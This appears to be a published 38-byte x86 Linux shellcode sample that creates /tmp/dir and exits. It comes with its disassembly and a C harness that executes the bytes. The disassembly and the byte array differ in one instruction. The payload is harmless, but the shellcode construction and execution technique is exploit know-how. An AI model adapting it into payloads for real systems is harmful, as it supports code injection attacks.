/*
Name   : 38 bytes sys_mkdir("/tmp/dir",1) x86 linux shellcode
Date   : may, 31 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : linux debian
*/


/*
gunslinger@localhost:~/shellcode$ objdump -d mkdir

mkdir:     file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
 8048060:  eb 17                  jmp    0x8048079
 8048062:  31 c0                  xor    %eax,%eax
 8048064:  31 db                  xor    %ebx,%ebx
 8048066:  31 d2                  xor    %edx,%edx
 8048068:  31 c9                  xor    %ecx,%ecx
 804806a:  b0 27                  mov    $0x27,%al
 804806c:  5b                     pop    %ebx
 804806d:  b1 00                  mov    $0x0,%cl
 804806f:  cd 80                  int    $0x80
 8048071:  31 c0                  xor    %eax,%eax
 8048073:  b0 01                  mov    $0x1,%al
 8048075:  31 db                  xor    %ebx,%ebx
 8048077:  cd 80                  int    $0x80
 8048079:  e8 e4 ff ff ff         call   0x8048062
 804807e:  2f                     das    
 804807f:  74 6d                  je     0x80480ee
 8048081:  70 2f                  jo     0x80480b2
 8048083:  64                     fs
 8048084:  69                     .byte 0x69
 8048085:  72                     .byte 0x72
gunslinger@localhost:~/shellcode$
*/

#include <stdio.h>

char shellcodedir[] =    "\xeb\x17"             
       "\x31\xc0"          
       "\x31\xdb"          
       "\x31\xd2"  
       "\x31\xc9"  
       "\xb0\x27"  
       "\x5b"      
       "\xb1\x01"  
       "\xcd\x80"  
       "\x31\xc0"
       "\xb0\x01"
       "\x31\xdb"
       "\xcd\x80"
       "\xe8\xe4\xff\xff\xff"
       "\x2f"
       "\x74\x6d"
       "\x70\x2f"
       "\x64"
       "\x69"
       "\x72";
    
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) shellcodedir;
  (int)(*func)();
}